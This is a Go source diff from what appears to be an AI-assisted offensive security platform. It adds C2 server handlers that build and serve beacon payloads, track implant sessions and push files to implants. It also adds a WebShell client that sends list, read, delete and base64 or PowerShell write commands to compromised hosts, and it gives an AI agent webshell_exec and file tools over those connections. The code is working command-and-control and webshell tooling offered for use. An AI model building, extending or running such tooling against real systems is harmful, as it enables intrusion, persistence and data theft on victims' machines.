listener, err := h.manager.DB().GetC2Listener(req.ListenerID)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if listener == nil {
c.JSON(http.StatusNotFound, gin.H{"error": "listener not found"})
return
}
builder := c2.NewPayloadBuilder(h.manager, h.logger, "", "")
input := c2.PayloadBuilderInput{
ListenerID: req.ListenerID,
OS: req.OS,
Arch: req.Arch,
SleepSeconds: req.SleepSeconds,
JitterPercent: req.JitterPercent,
Host: strings.TrimSpace(req.Host),
}
result, err := builder.BuildBeacon(input)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{
"payload": result,
})
}
// PayloadDownload 下载 payload
func (h *C2Handler) PayloadDownload(c *gin.Context) {
id := c.Param("id")
filename := id
if !strings.HasPrefix(filename, "beacon_") {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid payload id"})
return
}
if strings.Contains(filename, "/") || strings.Contains(filename, "\\") || strings.Contains(filename, "..") {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid payload id"})
return
}
builder := c2.NewPayloadBuilder(h.manager, h.logger, "", "")
storageDir := builder.GetPayloadStoragePath()
targetPath := filepath.Join(storageDir, filename)
absTarget, err := filepath.Abs(targetPath)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid path"})
return
}
absDir, err := filepath.Abs(storageDir)
if err != nil || !strings.HasPrefix(absTarget, absDir+string(filepath.Separator)) {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid payload id"})
return
}
c.FileAttachment(absTarget, filepath.Base(absTarget))
}
// ============================================================================
// 事件 API
// ============================================================================
// ListEvents 获取事件列表
func (h *C2Handler) ListEvents(c *gin.Context) {
filter := database.ListC2EventsFilter{
Level: c.Query("level"),
Category: c.Query("category"),
SessionID: c.Query("session_id"),
TaskID: c.Query("task_id"),
}
if since := c.Query("since"); since != "" {
if t, err := time.Parse(time.RFC3339, since); err == nil {
filter.Since = &t
}
}
paginated := false
page := 1
pageSize := 10
if c.Query("page") != "" || c.Query("page_size") != "" {
paginated = true
if p, err := strconv.Atoi(c.DefaultQuery("page", "1")); err == nil && p > 0 {
page = p
}
if ps, err := strconv.Atoi(c.DefaultQuery("page_size", "10")); err == nil && ps > 0 {
pageSize = ps
if pageSize > 100 {
pageSize = 100
}
}
filter.Limit = pageSize
filter.Offset = (page - 1) * pageSize
} else {
if limit := c.Query("limit"); limit != "" {
if n, err := strconv.Atoi(limit); err == nil && n > 0 {
filter.Limit = n
}
}
}
events, err := h.manager.DB().ListC2Events(filter)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if !paginated {
c.JSON(http.StatusOK, gin.H{"events": events})
return
}
total, err := h.manager.DB().CountC2Events(filter)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{
"events": events,
"total": total,
"page": page,
"page_size": pageSize,
})
}
// DeleteEvents 批量删除事件(请求体 JSON: {"ids":["e_xxx",...]}
func (h *C2Handler) DeleteEvents(c *gin.Context) {
var req struct {
IDs []string `json:"ids"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid json: " + err.Error()})
return
}
if len(req.IDs) == 0 {
c.JSON(http.StatusBadRequest, gin.H{"error": "ids is required"})
return
}
n, err := h.manager.DB().DeleteC2EventsByIDs(req.IDs)
if err != nil {
if errors.Is(err, database.ErrNoValidC2EventIDs) {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"deleted": n})
}
// EventStream SSE 实时事件流
func (h *C2Handler) EventStream(c *gin.Context) {
c.Header("Content-Type", "text/event-stream")
c.Header("Cache-Control", "no-cache")
c.Header("Connection", "keep-alive")
sessionFilter := c.Query("session_id")
categoryFilter := c.Query("category")
levels := c.QueryArray("level")
sub := h.manager.EventBus().Subscribe(
"sse-"+uuid.New().String(),
128,
sessionFilter,
categoryFilter,
levels,
)
defer h.manager.EventBus().Unsubscribe(sub.ID)
c.Stream(func(w io.Writer) bool {
select {
case e, ok := <-sub.Ch:
if !ok {
return false
}
data, _ := json.Marshal(e)
fmt.Fprintf(w, "data: %s\n\n", data)
return true
case <-c.Request.Context().Done():
return false
}
})
}
// ============================================================================
// Profile API
// ============================================================================
// ListProfiles 获取 Malleable Profile 列表
func (h *C2Handler) ListProfiles(c *gin.Context) {
profiles, err := h.manager.DB().ListC2Profiles()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"profiles": profiles})
}
// GetProfile 获取单个 Profile
func (h *C2Handler) GetProfile(c *gin.Context) {
id := c.Param("id")
profile, err := h.manager.DB().GetC2Profile(id)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if profile == nil {
c.JSON(http.StatusNotFound, gin.H{"error": "profile not found"})
return
}
c.JSON(http.StatusOK, gin.H{"profile": profile})
}
// CreateProfile 创建 Profile
func (h *C2Handler) CreateProfile(c *gin.Context) {
var req database.C2Profile
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
req.ID = "p_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
req.CreatedAt = time.Now()
if err := h.manager.DB().CreateC2Profile(&req); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"profile": req})
}
// UpdateProfile 更新 Profile
func (h *C2Handler) UpdateProfile(c *gin.Context) {
id := c.Param("id")
profile, err := h.manager.DB().GetC2Profile(id)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if profile == nil {
c.JSON(http.StatusNotFound, gin.H{"error": "profile not found"})
return
}
var req database.C2Profile
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
profile.Name = req.Name
profile.UserAgent = req.UserAgent
profile.URIs = req.URIs
profile.RequestHeaders = req.RequestHeaders
profile.ResponseHeaders = req.ResponseHeaders
profile.BodyTemplate = req.BodyTemplate
profile.JitterMinMS = req.JitterMinMS
profile.JitterMaxMS = req.JitterMaxMS
if err := h.manager.DB().UpdateC2Profile(profile); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"profile": profile})
}
// DeleteProfile 删除 Profile
func (h *C2Handler) DeleteProfile(c *gin.Context) {
id := c.Param("id")
if err := h.manager.DB().DeleteC2Profile(id); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"deleted": true})
}
// ============================================================================
// 文件管理 API(C2 Upload 任务需要先通过此 API 上传文件到 downstream 目录)
// ============================================================================
// UploadFileForImplant 操作员上传文件,供 upload 任务推送给 implant
func (h *C2Handler) UploadFileForImplant(c *gin.Context) {
sessionID := strings.TrimSpace(c.PostForm("session_id"))
remotePath := strings.TrimSpace(c.PostForm("remote_path"))
if sessionID == "" || remotePath == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "session_id and remote_path required"})
return
}
file, header, err := c.Request.FormFile("file")
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "file field required: " + err.Error()})
return
}
defer file.Close()
fileID := "f_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
dir := filepath.Join(h.manager.StorageDir(), "downstream")
if err := osMkdirAll(dir); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
dstPath := filepath.Join(dir, fileID+".bin")
dst, err := osCreate(dstPath)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
n, err := io.Copy(dst, file)
dst.Close()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
// Record in DB
dbFile := &database.C2File{
ID: fileID,
SessionID: sessionID,
Direction: "upload",
RemotePath: remotePath,
LocalPath: dstPath,
SizeBytes: n,
CreatedAt: time.Now(),
}
_ = h.manager.DB().CreateC2File(dbFile)
c.JSON(http.StatusOK, gin.H{
"file_id": fileID,
"size": n,
"filename": header.Filename,
"remote_path": remotePath,
})
}
// ListFiles 列出某会话的文件记录
func (h *C2Handler) ListFiles(c *gin.Context) {
sessionID := c.Query("session_id")
if sessionID == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "session_id required"})
return
}
files, err := h.manager.DB().ListC2FilesBySession(sessionID)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"files": files})
}
// DownloadResultFile 下载任务结果文件(截图等 blob 结果)
func (h *C2Handler) DownloadResultFile(c *gin.Context) {
taskID := c.Param("id")
task, err := h.manager.DB().GetC2Task(taskID)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if task == nil {
c.JSON(http.StatusNotFound, gin.H{"error": "task not found"})
return
}
if task.ResultBlobPath == "" {
c.JSON(http.StatusNotFound, gin.H{"error": "no result file for this task"})
return
}
c.FileAttachment(task.ResultBlobPath, filepath.Base(task.ResultBlobPath))
}
func osMkdirAll(path string) error {
return os.MkdirAll(path, 0o755)
}
func osCreate(path string) (*os.File, error) {
return os.Create(path)
}
// ============================================================================
// 辅助函数(firstNonEmpty 已在 vulnerability.go 中定义)
// ============================================================================
+9
View File
@@ -233,6 +233,15 @@ func (m *HITLManager) shouldInterrupt(conversationID, toolName string) (hitlRunt
return cfg, !inWhitelist
}
// NeedsToolApproval 与 Agent 工具层 shouldInterrupt 语义一致:仅当该会话已开启人机协同且工具不在免审批白名单时为 true。
func (m *HITLManager) NeedsToolApproval(conversationID, toolName string) bool {
if m == nil {
return false
}
_, need := m.shouldInterrupt(conversationID, toolName)
return need
}
func (m *HITLManager) CreatePendingInterrupt(conversationID, assistantMessageID, mode, toolName, toolCallID, payload string) (*pendingInterrupt, error) {
now := time.Now()
id := "hitl_" + strings.ReplaceAll(uuid.New().String(), "-", "")
+1 -6
View File
@@ -73,12 +73,7 @@ func (h *AgentHandler) prepareMultiAgentSession(req *ChatRequest) (*multiAgentPr
h.logger.Warn("WebShell AI 助手:未找到连接", zap.String("id", req.WebShellConnectionID), zap.Error(errConn))
return nil, fmt.Errorf("未找到该 WebShell 连接")
}
remark := conn.Remark
if remark == "" {
remark = conn.URL
}
webshellContext := fmt.Sprintf("[WebShell 助手上下文] 当前连接 ID:%s,备注:%s。可用工具(仅在该连接上操作时使用,connection_id 填 \"%s\"):webshell_exec、webshell_file_list、webshell_file_read、webshell_file_write、record_vulnerability、list_knowledge_risk_types、search_knowledge_base。Skills 包请使用 Eino 多代理内置 `skill` 工具。\n\n用户请求:%s",
conn.ID, remark, conn.ID, req.Message)
webshellContext := BuildWebshellAssistantContext(conn, WebshellSkillHintMultiAgent, req.Message)
// WebShell 模式下如果同时指定了角色,追加角色 user_prompt(工具集仍仅限 webshell 专用工具)
if req.Role != "" && req.Role != "默认" && h.config != nil && h.config.Roles != nil {
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled && role.UserPrompt != "" {
+58 -1
View File
@@ -38,6 +38,7 @@ type NotificationSummaryItem struct {
VulnerabilityID string `json:"vulnerabilityId,omitempty"`
ExecutionID string `json:"executionId,omitempty"`
InterruptID string `json:"interruptId,omitempty"`
SessionID string `json:"sessionId,omitempty"` // C2 会话(如新会话上线)
}
// NotificationSummaryResponse 聚合响应
@@ -239,6 +240,52 @@ func (h *NotificationHandler) loadVulnerabilityItems(sinceMs int64, limit int, e
return items, counts, nil
}
// loadC2SessionOnlineEvents 新会话上线(c2_eventssession + critical,与 Manager.IngestCheckIn 一致)
func (h *NotificationHandler) loadC2SessionOnlineEvents(sinceMs int64, limit int, english bool) ([]NotificationSummaryItem, int, error) {
sinceSec := normalizedSinceSec(sinceMs)
rows, err := h.db.Query(`
SELECT id, message, COALESCE(session_id, ''),
COALESCE(CAST(strftime('%s', created_at) AS INTEGER), 0)
FROM c2_events
WHERE category = 'session' AND level = 'critical'
AND CAST(strftime('%s', created_at) AS INTEGER) > ?
ORDER BY created_at DESC
LIMIT ?
`, sinceSec, limit)
if err != nil {
return nil, 0, err
}
defer rows.Close()
items := make([]NotificationSummaryItem, 0, limit)
for rows.Next() {
var id, message, sessionID string
var createdSec int64
if err := rows.Scan(&id, &message, &sessionID, &createdSec); err != nil {
continue
}
desc := strings.TrimSpace(message)
if len(desc) > 220 {
desc = desc[:200] + "…"
}
if desc == "" {
desc = i18nText(english, "新会话已建立", "A new session was created")
}
items = append(items, NotificationSummaryItem{
ID: "c2evt:" + id,
Level: "p0",
Type: "c2_session_online",
Title: i18nText(english, "C2 新会话上线", "C2 new session online"),
Desc: desc,
Ts: unixSecToRFC3339(createdSec),
Count: 1,
Actionable: false,
Read: false,
SessionID: sessionID,
})
}
return items, len(items), rows.Err()
}
func (h *NotificationHandler) loadFailedExecutionItems(sinceMs int64, limit int, english bool) ([]NotificationSummaryItem, int, error) {
sinceSec := normalizedSinceSec(sinceMs)
rows, err := h.db.Query(`
@@ -492,6 +539,7 @@ func normalizeMarkableEventID(id string) (string, bool) {
"vuln:",
"exec_failed:",
"task_completed:",
"c2evt:",
}
for _, prefix := range allowedPrefixes {
if strings.HasPrefix(v, prefix) {
@@ -593,12 +641,20 @@ func (h *NotificationHandler) GetSummary(c *gin.Context) {
return
}
c2OnlineItems, c2OnlineCount, err := h.loadC2SessionOnlineEvents(sinceMs, limit, english)
if err != nil {
h.logger.Warn("加载 C2 会话上线通知失败", zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to summarize c2 session events"})
return
}
longRunningItems, longRunningCount := h.summarizeLongRunningTasks(15*time.Minute, english)
completedItems, completedCount := h.summarizeCompletedTasksSince(sinceMs, limit, english)
items := make([]NotificationSummaryItem, 0, len(hitlItems)+len(vulnItems)+len(longRunningItems)+len(completedItems))
items := make([]NotificationSummaryItem, 0, len(hitlItems)+len(vulnItems)+len(c2OnlineItems)+len(longRunningItems)+len(completedItems))
items = append(items, hitlItems...)
items = append(items, vulnItems...)
items = append(items, c2OnlineItems...)
items = append(items, longRunningItems...)
items = append(items, completedItems...)
@@ -636,6 +692,7 @@ func (h *NotificationHandler) GetSummary(c *gin.Context) {
"failedExecutions": 0,
"longRunningTasks": longRunningCount,
"completedTasks": completedCount,
"c2SessionOnline": c2OnlineCount,
},
Items: items,
})
+369 -138
View File
@@ -3,20 +3,302 @@ package handler
import (
"bytes"
"database/sql"
"encoding/base64"
"encoding/json"
"io"
"net/http"
"net/url"
"strings"
"time"
"unicode/utf8"
"cyberstrike-ai/internal/database"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
"go.uber.org/zap"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
)
// webshellSupportedEncodings 允许的 WebShell 响应编码取值(小写,含空串代表 auto)
// 仅暴露目前最常见的几种,其他需求可后续扩展(如 Big5、Shift_JIS 等)。
var webshellSupportedEncodings = map[string]struct{}{
"": {}, // 未配置,按 auto 处理
"auto": {},
"utf-8": {},
"utf8": {},
"gbk": {},
"gb18030": {},
}
// normalizeWebshellEncoding 归一化编码标识:统一为小写,未知值回退为 auto,供持久化使用
func normalizeWebshellEncoding(enc string) string {
enc = strings.ToLower(strings.TrimSpace(enc))
if _, ok := webshellSupportedEncodings[enc]; !ok {
return "auto"
}
if enc == "" {
return "auto"
}
if enc == "utf8" {
return "utf-8"
}
return enc
}
// decodeWebshellOutput 把 WebShell 返回的字节按指定编码转换为合法 UTF-8 字符串。
// 约定:
// - "" / "auto":若已是合法 UTF-8 原样返回,否则依次尝试 GB18030(GBK 超集)解码。
// - "utf-8" / "utf8":原样返回,非法字节交由 JSON 层按 U+FFFD 处理(保持原有行为)。
// - "gbk" / "gb18030":强制按对应编码解码;失败则回退原始字节。
//
// 该函数对空输入直接返回空串,避免不必要的转换。
func decodeWebshellOutput(raw []byte, encoding string) string {
if len(raw) == 0 {
return ""
}
enc := normalizeWebshellEncoding(encoding)
switch enc {
case "utf-8":
return string(raw)
case "gbk":
if out, _, err := transform.Bytes(simplifiedchinese.GBK.NewDecoder(), raw); err == nil {
return string(out)
}
return string(raw)
case "gb18030":
if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
return string(out)
}
return string(raw)
default: // auto
if utf8.Valid(raw) {
return string(raw)
}
// GB18030 是 GBK 的超集,覆盖范围最广,auto 模式统一用它兜底
if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
return string(out)
}
return string(raw)
}
}
// webshellSupportedOS 允许的 WebShell 目标操作系统(小写,空串代表 auto)
var webshellSupportedOS = map[string]struct{}{
"": {},
"auto": {},
"linux": {},
"windows": {},
}
// normalizeWebshellOS 归一化 OS 标识,未知值回退为 auto,供持久化使用
func normalizeWebshellOS(osTag string) string {
osTag = strings.ToLower(strings.TrimSpace(osTag))
if _, ok := webshellSupportedOS[osTag]; !ok {
return "auto"
}
if osTag == "" {
return "auto"
}
return osTag
}
// resolveWebshellOS 根据连接的 os 与 shellType 推断最终目标 OS(仅返回 "linux" 或 "windows")。
// 规则:
// - 显式 linux / windows:按用户选择。
// - auto 或未知:asp/aspx → windows,其他 → linux。保持历史行为,平滑向后兼容。
func resolveWebshellOS(osTag, shellType string) string {
osTag = strings.ToLower(strings.TrimSpace(osTag))
switch osTag {
case "linux":
return "linux"
case "windows":
return "windows"
}
t := strings.ToLower(strings.TrimSpace(shellType))
if t == "asp" || t == "aspx" {
return "windows"
}
return "linux"
}
// quoteCmdPath 把路径按 Windows cmd.exe 规则转义。
// 使用双引号包裹,内部双引号转义为 ""(cmd 接受的写法)。
func quoteCmdPath(p string) string {
if p == "" {
return "\".\""
}
return "\"" + strings.ReplaceAll(p, "\"", "\"\"") + "\""
}
// quotePsSingle 把字符串按 PowerShell 单引号字符串规则转义(内部 ' → '')。
// 供 PowerShell 脚本参数使用,全脚本只用单引号,外层 cmd 再用双引号包裹即可安全传递。
func quotePsSingle(s string) string {
return "'" + strings.ReplaceAll(s, "'", "''") + "'"
}
// quoteShellSinglePosix 把路径按 POSIX sh 单引号规则转义(内部 ' → '\''
func quoteShellSinglePosix(p string) string {
if p == "" {
return "."
}
return "'" + strings.ReplaceAll(p, "'", "'\\''") + "'"
}
// quoteWebshellPath 按目标 OS 选择转义方案:Linux 用 POSIX 单引号,Windows 用 cmd 双引号
func quoteWebshellPath(path, osTag string) string {
if resolveWebshellOS(osTag, "") == "windows" {
return quoteCmdPath(path)
}
return quoteShellSinglePosix(path)
}
// buildWindowsPowerShellWrite 构造 Windows 端把 base64 内容一次性写入目标路径的 cmd 命令。
// 外层走 cmd.exe 的 powershell 调用,PowerShell 脚本里只用单引号字符串,避免嵌套引号陷阱。
func buildWindowsPowerShellWrite(path, b64 string) string {
script := "$b=[Convert]::FromBase64String(" + quotePsSingle(b64) + ");" +
"[IO.File]::WriteAllBytes(" + quotePsSingle(path) + ",$b)"
return "powershell -NoProfile -NonInteractive -Command \"" + script + "\""
}
// buildWindowsPowerShellAppend 构造 Windows 端把 base64 内容追加写入目标路径的 cmd 命令(用于分块上传)
func buildWindowsPowerShellAppend(path, b64 string) string {
script := "$b=[Convert]::FromBase64String(" + quotePsSingle(b64) + ");" +
"$f=[IO.File]::Open(" + quotePsSingle(path) + ",[IO.FileMode]::Append,[IO.FileAccess]::Write,[IO.FileShare]::None);" +
"try{$f.Write($b,0,$b.Length)}finally{$f.Close()}"
return "powershell -NoProfile -NonInteractive -Command \"" + script + "\""
}
// fileCommandInput 封装 buildFileCommand 的输入,避免长参数列表
type fileCommandInput struct {
Action string
Path string
TargetPath string
Content string
ChunkIndex int
OS string
ShellType string
}
// buildFileCommand 根据目标 OS 与文件操作类型生成具体的远端命令字符串。
// 同一份实现供 HTTP 入口(FileOp)与 MCP 入口(FileOpWithConnection)共用,避免双份维护。
// 返回值第二位是用户可见的业务错误(如 "path is required")。
func (h *WebShellHandler) buildFileCommand(in fileCommandInput) (string, error) {
targetOS := resolveWebshellOS(in.OS, in.ShellType)
action := strings.ToLower(strings.TrimSpace(in.Action))
path := strings.TrimSpace(in.Path)
switch action {
case "list":
p := path
if p == "" {
p = "."
}
if targetOS == "windows" {
return "dir /a " + quoteCmdPath(p), nil
}
return "ls -la " + quoteShellSinglePosix(p), nil
case "read":
if path == "" {
return "", errFileOpPathRequired
}
if targetOS == "windows" {
return "type " + quoteCmdPath(path), nil
}
return "cat " + quoteShellSinglePosix(path), nil
case "delete":
if path == "" {
return "", errFileOpPathRequired
}
if targetOS == "windows" {
return "del /q /f " + quoteCmdPath(path), nil
}
return "rm -f " + quoteShellSinglePosix(path), nil
case "mkdir":
if path == "" {
return "", errFileOpPathRequired
}
if targetOS == "windows" {
// cmd 的 md 默认会自动创建中间目录(等价于 Linux 的 mkdir -p
return "md " + quoteCmdPath(path), nil
}
return "mkdir -p " + quoteShellSinglePosix(path), nil
case "rename":
oldPath := path
newPath := strings.TrimSpace(in.TargetPath)
if oldPath == "" || newPath == "" {
return "", errFileOpRenameNeedsBothPaths
}
if targetOS == "windows" {
return "move /y " + quoteCmdPath(oldPath) + " " + quoteCmdPath(newPath), nil
}
return "mv -f " + quoteShellSinglePosix(oldPath) + " " + quoteShellSinglePosix(newPath), nil
case "write":
if path == "" {
return "", errFileOpPathRequired
}
// 统一策略:先把内容 base64 编码,再用目标平台对应方式解码写回,
// 这样既能写入任意二进制/含引号的文本,又避免各家 shell 的转义地狱。
b64 := base64.StdEncoding.EncodeToString([]byte(in.Content))
if targetOS == "windows" {
return buildWindowsPowerShellWrite(path, b64), nil
}
return "echo '" + b64 + "' | base64 -d > " + quoteShellSinglePosix(path), nil
case "upload":
if path == "" {
return "", errFileOpPathRequired
}
if len(in.Content) > 512*1024 {
return "", errFileOpUploadTooLarge
}
if targetOS == "windows" {
return buildWindowsPowerShellWrite(path, in.Content), nil
}
return "echo '" + in.Content + "' | base64 -d > " + quoteShellSinglePosix(path), nil
case "upload_chunk":
if path == "" {
return "", errFileOpPathRequired
}
if targetOS == "windows" {
if in.ChunkIndex == 0 {
return buildWindowsPowerShellWrite(path, in.Content), nil
}
return buildWindowsPowerShellAppend(path, in.Content), nil
}
redir := ">>"
if in.ChunkIndex == 0 {
redir = ">"
}
return "echo '" + in.Content + "' | base64 -d " + redir + " " + quoteShellSinglePosix(path), nil
}
return "", errFileOpUnsupportedAction(action)
}
// 业务错误常量,便于上层统一返回用户可见提示
var (
errFileOpPathRequired = simpleError("path is required")
errFileOpRenameNeedsBothPaths = simpleError("path and target_path are required for rename")
errFileOpUploadTooLarge = simpleError("upload content too large (max 512KB base64)")
)
func errFileOpUnsupportedAction(action string) error {
return simpleError("unsupported action: " + action)
}
// simpleError 是不带堆栈的轻量错误类型,供 buildFileCommand 报可预期的参数校验错误
type simpleError string
func (e simpleError) Error() string { return string(e) }
// WebShellHandler 代理执行 WebShell 命令(类似冰蝎/蚁剑),避免前端跨域并统一构建请求
type WebShellHandler struct {
logger *zap.Logger
@@ -44,6 +326,8 @@ type CreateConnectionRequest struct {
Method string `json:"method"`
CmdParam string `json:"cmd_param"`
Remark string `json:"remark"`
Encoding string `json:"encoding"`
OS string `json:"os"`
}
// UpdateConnectionRequest 更新连接请求
@@ -54,6 +338,8 @@ type UpdateConnectionRequest struct {
Method string `json:"method"`
CmdParam string `json:"cmd_param"`
Remark string `json:"remark"`
Encoding string `json:"encoding"`
OS string `json:"os"`
}
// ListConnections 列出所有 WebShell 连接(GET /api/webshell/connections
@@ -109,6 +395,8 @@ func (h *WebShellHandler) CreateConnection(c *gin.Context) {
Method: method,
CmdParam: strings.TrimSpace(req.CmdParam),
Remark: strings.TrimSpace(req.Remark),
Encoding: normalizeWebshellEncoding(req.Encoding),
OS: normalizeWebshellOS(req.OS),
CreatedAt: time.Now(),
}
if err := h.db.CreateWebshellConnection(conn); err != nil {
@@ -159,6 +447,8 @@ func (h *WebShellHandler) UpdateConnection(c *gin.Context) {
Method: method,
CmdParam: strings.TrimSpace(req.CmdParam),
Remark: strings.TrimSpace(req.Remark),
Encoding: normalizeWebshellEncoding(req.Encoding),
OS: normalizeWebshellOS(req.OS),
}
if err := h.db.UpdateWebshellConnection(conn); err != nil {
if err == sql.ErrNoRows {
@@ -331,6 +621,8 @@ type ExecRequest struct {
Type string `json:"type"` // php, asp, aspx, jsp, custom
Method string `json:"method"` // GET 或 POST,空则默认 POST
CmdParam string `json:"cmd_param"` // 命令参数名,如 cmd/xxx,空则默认 cmd
Encoding string `json:"encoding"` // 响应编码:auto / utf-8 / gbk / gb18030,空则 auto
OS string `json:"os"` // 目标操作系统:auto / linux / windows,当前 exec 不用它,保留字段便于未来扩展
Command string `json:"command" binding:"required"`
}
@@ -344,23 +636,27 @@ type ExecResponse struct {
// FileOpRequest 文件操作请求
type FileOpRequest struct {
URL string `json:"url" binding:"required"`
Password string `json:"password"`
Type string `json:"type"`
Method string `json:"method"` // GET 或 POST,空则默认 POST
CmdParam string `json:"cmd_param"` // 命令参数名,如 cmd/xxx,空则默认 cmd
Action string `json:"action" binding:"required"` // list, read, delete, write, mkdir, rename, upload, upload_chunk
Path string `json:"path"`
TargetPath string `json:"target_path"` // rename 时目标路径
Content string `json:"content"` // write/upload 时使用
ChunkIndex int `json:"chunk_index"` // upload_chunk 时,0 表示首块
URL string `json:"url" binding:"required"`
Password string `json:"password"`
Type string `json:"type"`
Method string `json:"method"` // GET 或 POST,空则默认 POST
CmdParam string `json:"cmd_param"` // 命令参数名,如 cmd/xxx,空则默认 cmd
Encoding string `json:"encoding"` // 响应编码:auto / utf-8 / gbk / gb18030,空则 auto
OS string `json:"os"` // 目标操作系统:auto / linux / windows,空则按 shellType 推断
ConnectionID string `json:"connection_id,omitempty"` // 可选:连接 ID;服务端探活出 OS 后会回写到此连接
Action string `json:"action" binding:"required"` // list, read, delete, write, mkdir, rename, upload, upload_chunk
Path string `json:"path"`
TargetPath string `json:"target_path"` // rename 时目标路径
Content string `json:"content"` // write/upload 时使用
ChunkIndex int `json:"chunk_index"` // upload_chunk 时,0 表示首块
}
// FileOpResponse 文件操作响应
type FileOpResponse struct {
OK bool `json:"ok"`
Output string `json:"output"`
Error string `json:"error,omitempty"`
OK bool `json:"ok"`
Output string `json:"output"`
Error string `json:"error,omitempty"`
DetectedOS string `json:"detected_os,omitempty"` // 仅在 auto 模式且探活成功时返回,前端应更新本地缓存
}
func (h *WebShellHandler) Exec(c *gin.Context) {
@@ -415,7 +711,7 @@ func (h *WebShellHandler) Exec(c *gin.Context) {
if readErr != nil {
h.logger.Warn("webshell exec read body", zap.Error(readErr))
}
output := string(out)
output := decodeWebshellOutput(out, req.Encoding)
httpCode := resp.StatusCode
c.JSON(http.StatusOK, ExecResponse{
@@ -474,83 +770,32 @@ func (h *WebShellHandler) FileOp(c *gin.Context) {
return
}
// 通过执行系统命令实现文件操作(与通用一句话兼容)
var command string
shellType := strings.ToLower(strings.TrimSpace(req.Type))
switch req.Action {
case "list":
path := strings.TrimSpace(req.Path)
if path == "" {
path = "."
// 若 OS 未显式配置,先发一次探活命令,识别出真实 OS 再构造文件操作命令。
// 这解决了 "Windows + PHP + OS=auto" 场景下旧 fallback 错发 `ls -la` 导致目录列不出来的问题。
osTag := req.OS
detectedOS := ""
if normalizeWebshellOS(osTag) == "auto" {
if probed := probeWebshellOSViaExec(h.newHTTPExecFn(req.URL, req.Password, req.Type, req.Method, req.CmdParam, req.Encoding)); probed != "" {
osTag = probed
detectedOS = probed
// 若前端带了 connection_id,顺带把探活结果持久化到该连接,后续刷新零成本
if cid := strings.TrimSpace(req.ConnectionID); cid != "" {
h.persistDetectedOS(cid, probed)
}
}
if shellType == "asp" || shellType == "aspx" {
command = "dir " + h.escapePath(path)
} else {
command = "ls -la " + h.escapePath(path)
}
case "read":
if shellType == "asp" || shellType == "aspx" {
command = "type " + h.escapePath(strings.TrimSpace(req.Path))
} else {
command = "cat " + h.escapePath(strings.TrimSpace(req.Path))
}
case "delete":
if shellType == "asp" || shellType == "aspx" {
command = "del " + h.escapePath(strings.TrimSpace(req.Path))
} else {
command = "rm -f " + h.escapePath(strings.TrimSpace(req.Path))
}
case "write":
path := h.escapePath(strings.TrimSpace(req.Path))
command = "echo " + h.escapeForEcho(req.Content) + " > " + path
case "mkdir":
path := strings.TrimSpace(req.Path)
if path == "" {
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path is required for mkdir"})
return
}
if shellType == "asp" || shellType == "aspx" {
command = "md " + h.escapePath(path)
} else {
command = "mkdir -p " + h.escapePath(path)
}
case "rename":
oldPath := strings.TrimSpace(req.Path)
newPath := strings.TrimSpace(req.TargetPath)
if oldPath == "" || newPath == "" {
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path and target_path are required for rename"})
return
}
if shellType == "asp" || shellType == "aspx" {
command = "move /y " + h.escapePath(oldPath) + " " + h.escapePath(newPath)
} else {
command = "mv " + h.escapePath(oldPath) + " " + h.escapePath(newPath)
}
case "upload":
path := strings.TrimSpace(req.Path)
if path == "" {
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "path is required for upload"})
return
}
if len(req.Content) > 512*1024 {
c.JSON(http.StatusBadRequest, FileOpResponse{OK: false, Error: "upload content too large (max 512KB base64)"})
return
}
// base64 仅含 A-Za-z0-9+/=,用单引号包裹安全
